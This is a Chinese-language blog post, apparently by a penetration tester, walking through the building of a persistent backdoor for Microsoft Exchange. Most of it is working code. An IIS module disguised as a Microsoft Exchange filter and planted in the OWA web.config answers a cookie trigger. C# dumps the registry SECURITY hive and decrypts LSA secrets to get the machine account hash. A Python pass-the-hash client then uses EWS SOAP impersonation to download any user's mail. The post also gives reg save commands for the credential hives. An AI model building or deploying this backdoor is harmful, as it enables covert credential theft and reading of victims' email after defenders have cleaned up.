从零到一开发一个exchange后门

从零到一开发一个exchange后门

exchange作为微软旗下一款成熟的邮箱应用,在政企中受众很广。最近在项目中,一直在思考针对exchange的持久化问题,考虑的场景为,假定的目标发现并清理了我们的权限,用户也全部修改了密码。但我们仍可以正常的获得用户邮件。( office365的场景不做讨论)换句话说,即是在没有用户凭据以及漏洞的前提下通过exchange获得任意用户邮件。

需求分析

需求:不通过用户凭据以及权限获取任意用户邮件

方案一

一开始我考虑的方案是:

通过白银票据,模拟任意用户,登录exchenge的 ews 接口,通过soap请求获得邮件

这个方案需要的条件:

  • exchange 机器hash
  • 域的 sid

通过白银票据模拟任意用户,伪造服务为 http ,因为白银票据的特点,不需要与域控交互,且 ews 接口支持 negoiet 认证,所以该方法可通过ews处的认证

然而该方法在后续的实践中还是有一些小麻烦,比如通过代码传递票据等,当时实践不是很顺利

方案二

后来和朋友讨论时,获得了第二个方案

通过exchange机器用户身份登录 ews 接口,通过soap请求获得任意用户邮件

这个方案需要的条件:

  • exchange 机器hash
  • 下载用户的sid

最终我选用了方案二

后门结构

最终我决定了这样的结构:

1
client --> backdoor_server ---(sid,hash)---> client ---(xml)--> backdoor_server ---(mail)---> client

程序分析

Server端

无论选用哪种方案,其实需求的条件相差不大,都需要:

  • exchange 机器hash

唯一的区别就是方案二需要用户的sid,方案一只需要域的sid

所以server端的功能就很清晰了,通过特定请求,获取exchange的机器hash以及指定用户的sid。

因为exchange可以留aspx文件的目录比较局限,且查杀严格,所以计划改成一个针对iis的 dll 的后门。

因为之前也并没有系统学习过 c# 或者.net 的开发,所以这次属于现学现写,在网上找到的资料里拼拼凑凑。所幸当你模块与需求明确时,总能找到解决办法。

一开始需要解决的问题自然是如何开始一个iis的dll后门,他需要能先.net应用去解析请求,识别我们的特定请求并给予响应。

从IHttpModule开始

IHttpModule 为 System.web命名空间下的类。他会处理任何针对.net服务端的http请求。在.net 中,IHttpHandler负责处理针对.net注册文件的请求,而IHttpModule先IHttpHandler针对所有http请求进行响应。

image-20220326045448200

IHttpHandler接口只有两个成员:

  • void Dispose():处置由实现 System.Web.IHttpModule 的模块使用的资源(内存除外)。
  • void Init(HttpApplication context):初始化模块,并使其为处理请求做好准备。参数:context:一个System.Web.HttpApplication,它提供对 ASP.NET 应用程序内所有应用程序对象的公用的方法、属性和事件的访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using System;
using System.Collections.Generic;
using System.Text;
using System.Web;

namespace IIS_BackDoor
{
public class MyModule : IHttpModule
{
public void Dispose()
{
}

public void Init(HttpApplication context)
{
context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
}

private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
{
// do somthing
}
}
}

针对iis的后门

Microsoft 定义了一个称为 ISAPI(Internet 服务器应用程序编程接口)的 API,以帮助开发人员向 IIS 添加功能。ISAPI几乎控制着IIS中一切动态内容的生命,因为只有ISAPI,才可以构建动态内容交互式网页(如ASPX/PHP等)可以理解为解释器。

可以向 IIS 添加一种组件:过滤器。

  • 过滤器是导出 3 个函数的 DLL:
1
2
3
GetFilterVersion
HttpFilterProc
TerminateFilter

过滤器注册了许多事件,每次在请求的生命周期内发生事件时,都会调用 HttpFilterProc。以下是过滤器可以注册的事件的不完整列表:

1
2
3
4
SF_NOTIFY_PREPROC_HEADERS: happens when IIS has finished preprocessing headers.
SF_NOTIFY_SEND_RESPONSE: happens when IIS is ready to send response to the client
SF_NOTIFY_END_OF_REQUEST: happens when a request has ended its lifecycle
SF_NOTIFY_LOG: happens before IIS writes log for the current request

由上可知,可通过http请求的多处参数来触发filter。一旦触发,就会调用过滤器的 HttpFilterProc 并提供一个结构,具体取决于事件的类型。

不过filter只支持c++实现,但我们通过 IHttpModule 也同样可以实现如同isapi接口filter相同的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void context_filter(HttpContext context, HttpRequest Request)
{
HttpCookieCollection MyCookieColl;
HttpCookie MyCookie;
MyCookieColl = Request.Cookies;
String[] arr1 = MyCookieColl.AllKeys;

if (arr1.Length > 0)
{
MyCookie = MyCookieColl[arr1[0]];
if (MyCookie.Name.Equals("test"))
{
String cookie = MyCookie.Value;
context.Response.Clear();
context.Response.Write("test");
allResults.Clear();
context.Response.End();
context.Response.Close();
}

如上代码,通过HttpModule也可实现如同filter的功能。当我们收到包含 cookie 值”test” 的请求时,会先aspx等文件被IHttpModule处理,在页面输出 “test”。这样就可以基本达到后门的需求。

现在我们的基本框架已经基本完成,下面要开始实现具体的模块。

获得hash

参考:https://www.freebuf.com/articles/system/224171.html

image-20220327042513851

最先需要完成的就是获取机器hash的功能。

通过我们日常的攻防测试我们可以知道,我们可以通过机器的注册表获得用户的凭据。

一般我们会用到:

  • sam:sam数据库保存windows本地的用户信息
  • system:system数据库中保存 bootkey 用于解密sam中保存的解密的hash
  • security:存储lsa策略,缓存域内登录的用户与服务信息。

一般通过如下方式导出

1
2
3
reg save hklm\sam sam
reg save hklm\system system
reg save hklm\security security

转储注册表,然后可以通过 secretsdump.py 来获取机器hash

现在我们需要通过 c# 来完成这些操作,所以过程应该就是:

  • 获取注册表内容 —–> 解密

而我们想要获得的时机器hash,所以我们需要的是security注册表

当用域账号去登陆这台机器,在登陆成功后(域控验证了你的身份后),系统会将你的凭据以及授权信息保存在注册表里面。默认是保存 10 个凭据(可以对这个值进行更改)。当被保存的凭据已经超过 10 个的话,新的凭据会覆盖掉老的凭据。

凭据被缓存在注册表里的这些用户,在机器连不上域控的时候也可以登陆这台机器(只能交互式登陆,比如控制台或远程桌面)。

image-20220327030321316

注册表服务

参考了网络上获取注册表的方式

首先加载指定机器的注册表服务

1
2
3
4
5
6
7
8
9
10
11
12
13
class RemoteOps
{
public string hostname;
IntPtr scMgr = IntPtr.Zero;
public IntPtr remoteRegHandle = IntPtr.Zero;
int remoteRegistryInitialStatus = 0;
bool remoteRegistryDisabled = false;

public RemoteOps(string remoteHostname)
{
hostname = remoteHostname;
StartRemoteRegistry();
}

然后可以通过 advapi32.dll 中提供的注册表函数去读取注册表信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[DllImport("advapi32")]
static extern int RegConnectRegistry(string machine, UIntPtr hKey, out IntPtr pRemKey);

[DllImport("Advapi32.dll", EntryPoint = "RegGetValueW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern Int32 RegGetValue(IntPtr hkey, string lpSubKey, string lpValue, uint dwFlags, out uint pdwType, IntPtr pvData, ref Int32 pcbData);

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "RegOpenKeyExW", SetLastError = true)]
public static extern int RegOpenKeyEx(IntPtr hKey, string subKey, uint options, int sam, out IntPtr phkResult);

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
static extern int RegQueryInfoKey(IntPtr hKey, [Out()] StringBuilder lpClass, ref uint lpcchClass,
IntPtr lpReserved, IntPtr lpcSubkey, IntPtr lpcchMaxSubkeyLen,
IntPtr lpcchMaxClassLen, IntPtr lpcValues, IntPtr lpcchMaxValueNameLen,
IntPtr lpcbMaxValueLen, IntPtr lpSecurityDescriptor, IntPtr lpftLastWriteTime);
  • RegOpenKeyEx:此函数打开指定的键
  • RegQueryInfoKey:此函数检索有关指定注册表项的信息。
  • RegGetValue:检索指定注册表值的类型和数据。

image-20220327042200521

定义OpenRegKey函数获得注册表句柄

1
2
3
4
5
6
7
8
public IntPtr OpenRegKey(string key)
{
int KEY_MAXIMUM_ALLOWED = 0x02000000;
IntPtr regKeyHandle;
if (RegOpenKeyEx(remoteRegHandle, key, 0, KEY_MAXIMUM_ALLOWED, out regKeyHandle) == 0)
{
return regKeyHandle;
}
获取security
1
2
3
4
5
6
7
8
9
RemoteOps remoteConnection = new RemoteOps('127.0.0.1');
byte[] bootKey = GetBootKey(ref remoteConnection);
string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + securityOut;
if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\" + 'security.log'))
{

RegistryHive security = remoteConnection.GetRemoteHiveDump(securityRemoteLocation);
remoteConnection.Cleanup(samRemoteLocation, securityRemoteLocation);
allResults.Add(singleHostResults);

解密同样需要获得bootkey

bootkey是由四个分离的部分组成的,SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data},但是我们实际中要用到的数据是无法直接使用regedit看到的,而且,每一部分都被存到了这些键的Class属性中,而且进行了Unicode编码,以16进制的形式存储。BootKey的长度为16字节,获得了bootKey后,还需要进行解混淆操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static byte[] GetBootKey(ref RemoteOps remoteConnection)
{
string[] keys = new string[4] { "JD", "Skew1", "GBG", "Data" };
byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
StringBuilder scrambledKey = new StringBuilder();

for (int i = 0; i < 4; i++)
{
string keyPath = @"SYSTEM\CurrentControlSet\Control\Lsa\" + keys[i];
IntPtr regKeyHandle = remoteConnection.OpenRegKey(keyPath);
scrambledKey.Append(remoteConnection.GetRegKeyClassData(regKeyHandle));
remoteConnection.CloseRegKey(regKeyHandle);
}
byte[] scrambled = StringToByteArray(scrambledKey.ToString());
byte[] unscrambled = new byte[16];
for (int i = 0; i < 16; i++)
{
unscrambled[i] = scrambled[transforms[i]];
}
return unscrambled;
解密lsa获得hash

如之前的图示,缓存信息的加密密码为 NL$KM 密钥

而机器hash存储在 $MACHINE.ACC 之中

img

解密步骤

  • 得到 bootkey

  • 利用 bootkey 解密 LSA Key

  • 利用 LSA Key 解密 NLKM Key

  • 利用 NLKM Key 解密 MSCACHE

这一段是参考的网络上的项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private static List<string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection)
{
try
{
byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data;
LsaSecret record = new LsaSecret(fVal);
byte[] dataVal = record.data.Take(32).ToArray();
byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal);
byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();

//get NLKM Secret
byte[] nlkmKey = null;
NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM");
if (nlkm != null)
{
nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
}
foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
{
if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
{
if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
{
LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
if (secretBlob.length > 0)
{
retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
}
}
else
{
LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
if (secretBlob.length > 0)
{
retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, ref G remoteConnection)
{
string secretOutput = string.Format("[*] {0}\r\n", keyName);
if (keyName.ToUpper().StartsWith("$MACHINE.ACC"))
{
string computerAcctHash = BitConverter.ToString(A.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower();
string domainName = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Domain");
string computerName = remoteConnection.GetRegistryKeyValue(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", "Hostname");
secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", domainName, computerName, computerAcctHash);
}

return secretOutput;
}

即可获得机器hash

获得sid

我们需要获得每个需要下载用户的sid,才能完成用户的模拟。域用户的sid可以通过查询域信息获得,条目为 objectsid。c# 对于 AD 的操作还是非常方便的

通过 DirectoryEntry 即可

1
2
3
4
5
6
7
8
9
10
public SearchResult GetCurrentFullName(string user)
{
user = Encoding.UTF8.GetString(Convert.FromBase64String(user));
string DomainName = System.Environment.UserDomainName;
DirectoryEntry de = new DirectoryEntry("LDAP://" + DomainName);
DirectorySearcher ds = new DirectorySearcher(de);
ds.Filter = ("(samaccountname=" + user + ")");
SearchResult res = ds.FindOne();
return res;
}

通过 DirectoryEntry 类就可以完成域信息的查询,指定filter为 samaccountname 即可获得该用户的域信息

不过这里又一个小坑,大部分的域信息值都是 string 类型,但是 objectsid 值是一个 byte[] 类型的值。好在微软提供了 SecurityIdentifier 类用以转换该值为string类型,即我们常见的 ‘S-1-5-21-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx’

1
2
3
byte[] objectsid = (byte[])sr.GetDirectoryEntry().Properties["objectSid"][0];
SecurityIdentifier sid = new SecurityIdentifier(objectsid, 0);
string sid_text = sid.ToString();

这样就成功获得了用户的 sid 。

部署dll

如上我们的server端就基本完成了,剩下的工作是完成部署。

我们使用vs,新建一个类库项目

image-20220327063423202

完成代码编写后,编辑编译信息:

  • 首先去除debug信息

  • 对dll进行自签名

    1
    项目属性 -> signing -> sign the assembly # 即可查看dll信息可以有publictoken
  • 通过命令可查看签名

    1
    ([system.reflection.assembly]::loadfile("1.dll")).FullName
  • 在owa目录下新建bin文件夹,将dll文件放入该文件夹,并编辑 web.config 文件

    <Module> 标签下添加

    1
    <add name="HttpFilter" type="Microsoft.Exchange.HTTPFilter.webFilter,Microsoft.Exchange.HTTPFilter,Version=15.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"/>

    name 可以随意填写

    type 第一个参数为 命名空间+类名 第二个为 dll 名

    PublicKeyToken 即为签名

Client端

client基于python编写,通过从server获得的hash与sid,构造请求获得用户的邮件

pth_to_ews

客户端第一步需要实现的就是通过机器hash认证ews接口。

参考:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Exchange-Web-Service

机器hash基本是无法解密的,所以我们只能使用hash去进行认证。

当然我们可以使用mimikatz进行pth,但是这样太过麻烦,所以我们选择通过代码来进行认证。

这里我参考了三好学生的文章以及 impackethttp.py 的代码。

Alt text

如图所示,exchange的ews接口支持ntlm认证。这里使用的就是 Net-Ntlm

认证流程如下:

  1. 客户端向服务器发送一个GET请求,请求获得网页内容
  2. 服务器由于开启了NTLM认证,所以返回401,提示需要NTLM认证
  3. 客户端发起NTLM认证,向服务器发送协商消息
  4. 服务器收到消息后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端
  5. 客户端接收到Challenge后,使用输入的密码hash对Challenge加密,生成response,将response发送给服务器
  6. 服务器接收客户端加密后的response,经过同样的运算,比较结果,若匹配,提供后续服务,否则,认证失败

因此我们的登录过程为:

  • 模拟NTLM Over HTTP Protocol,直接传入hash,对Challenge加密,生成response,将response发送给服务器

Net-Ntlm的格式为:username::domain:challenge:HMAC-MD5:blob

Alt text

而impacket的ntlm类可以帮我们很好的构造Net-Ntlm结构,代码基本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def get_session(host, domain, user, nthash):
session = requests.session()
url = 'https://'+ host + ews_url
ntlm_nego = ntlm.getNTLMSSPType1(host, domain)
negotiate = base64.b64encode(ntlm_nego.getData())
headers = {
"Authorization": 'NTLM %s' % negotiate.decode('utf-8'),
"Content-type": "text/xml; charset=utf-8",
"Accept": "text/xml",
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
res = session.get(url,headers=headers,verify=False)
ntlm_challenge_b64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.headers['WWW-Authenticate']).group(1)
ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
password1 = ''
nt_hash = binascii.unhexlify(nthash)
lm_hash = ''
ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, domain, lm_hash, nt_hash)
auth = base64.b64encode(ntlm_auth.getData())
headers = {
"Authorization": 'NTLM %s' % auth.decode('utf-8'),
"Content-type": "text/xml; charset=utf-8",
"Accept": "text/xml",
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
session.get(url,headers=headers,verify=False)
return session

soap请求

ews接口是exchange提供的web service,我们可以通过soap请求对用户的邮箱进行多种操作。

而当认证用户是机器用户时,支持通过用户sid来模拟任一用户的身份(该功能只限机器用户,管理员组无此权限)

对与机器用户,只需在请求中加上认证头标签,即可模拟任意用户

1
2
3
4
5
6
7
8
9
10
11
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
<t:SerializedSecurityContext>
<t:UserSid>sid</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>sid</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>

通过soap请求获取邮件可以参考MS的官方文档,通过以下几个步骤

获取邮件数量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>admin@cia.local</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>

<t:TotalCount> 标签内返回的就是邮件数量

列举邮箱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="100" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='inbox'>
<t:Mailbox>
<t:EmailAddress>admin@cia.local</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>

该返回包会返回每一封邮件的信息,寄件人、title、日期等,但不会返回具体的内容和附件。

该返回包会返回 ChangeKeyItemId 两个参数,通过他们可以获得具体的邮件内容

mime_to_eml

ews支持直接通过MIME格式返回数据。mime为对整个eml文件进行base64编码后的数据流。这样获取数据比较方便,不用再单独下载附件。

我们只需要在body中加入

1
<t:IncludeMimeContent>true</t:IncludeMimeContent>

即可请求MIME格式数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:BodyType>Text</t:BodyType>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="ItemId" ChangeKey="ChangeKey" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>

返回的MIME数据在 <t:MimeContent CharacterSet="UTF-8"> 标签中

将该数据进行base64解码,即可获得eml数据,将其保存为eml文件。

1
2
a = open(dir1+'\\'+topic+'.eml','w')
a.write(str(base64.b64decode(mimetext.encode("utf-8")), "utf-8"))

使用邮箱软件或浏览器即可打开,会自动帮助我们解码。


至此,我们的后门程序就基本完成了

一些其他细节

负载

目前遇到的一个问题是存在负载的话认证的session即不能成功认证,目前还是采取最粗暴的方式,重放数据包,,打算的解决方式是通过机器名进行filter,如果负载收到不是给自己发送的数据就发送给该机器再获得返回。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!